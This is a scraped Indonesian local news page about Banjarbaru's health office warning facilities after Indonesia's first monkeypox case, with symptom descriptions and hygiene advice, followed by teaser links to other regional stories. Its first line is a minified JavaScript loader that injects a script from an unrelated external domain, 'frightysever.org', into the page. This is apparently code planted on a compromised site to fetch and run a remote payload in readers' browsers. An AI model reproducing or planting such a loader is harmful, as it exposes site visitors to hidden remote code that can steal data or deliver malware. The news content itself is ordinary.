(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Adanya temuan kasus pertama cacar monyet atau monkeypox di Indonesia, meningkatkan kewaspadaan di seluruh daerah, tak terkecuali Kota Banjarbaru, Kalimantan Selatan.
Kepala Bidang Pencegahan dan Pengendalian Penyakit (P2P) Dinas Kesehatan Kota Banjarbaru, dr Budi Simanungkalit mengatakan, Dinas Kesehatan Kota Banjarbaru telah mengirimkan surat edaran ke seluruh fasilitas pelayanan kesehatan (fasyankes) yang ada di Banjarbaru.
“Kami mengimbau kepada seluruh fasyankes, agar kasus monkeypox ini menjadi perhatian sejak temuan kasus pertama di Jakarta,” kata Budi.
Budi menjelaskan, gejala umum orang terpapar monkeypox terdiri dari demam dan muncul kelainan kulit yang melepuh dan mirip seperti cacar.
Baca juga: Banyak Truk ‘Penghisap’ BBM Bersubsidi Dibekingi Oknum Aparat
“Apabila ada gejala-gejala (monkeypox), agar segera memeriksakan diri kepada tenaga kesehatan untuk memastikan apakah cacar biasa atau ke arah cacar monyet,” sambungnya.
Dikatakannya, penampakan dari cacar biasa atau cacar air, dengan cacar monyet atau monkeypox memiliki sejumlah perbedaan. Di mana, monkeypox memiliki ciri yaitu bintik-bintik cenderung bernanah.
“Penampakan dari bintik yang bernanah itu jelek. Sedangkan cacar air itu hanya seperti lepuh biasa,” jelasnya.
Ia mengingatkan, masyarakat harus mewaspadai adanya monkeypox. Namun, bukan berarti masyarakat menjadi panik. Karena, Budi berpesan, penyakit ini harus dipahami awal mula penyebaran monkeypox.
Kendati demikian, Budi memberikan tips agar terhindar dari monkeypox. Seperti meningkatkan Pola Hidup Bersih dan Sehat (PHBS) dan tetap menerapkan protokol kesehatan.
“Karena penyakit ini tentunya berawal pola hidup kita, apalagi jika tidak menerapkan PHBS,” tandasnya. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More
This website uses cookies.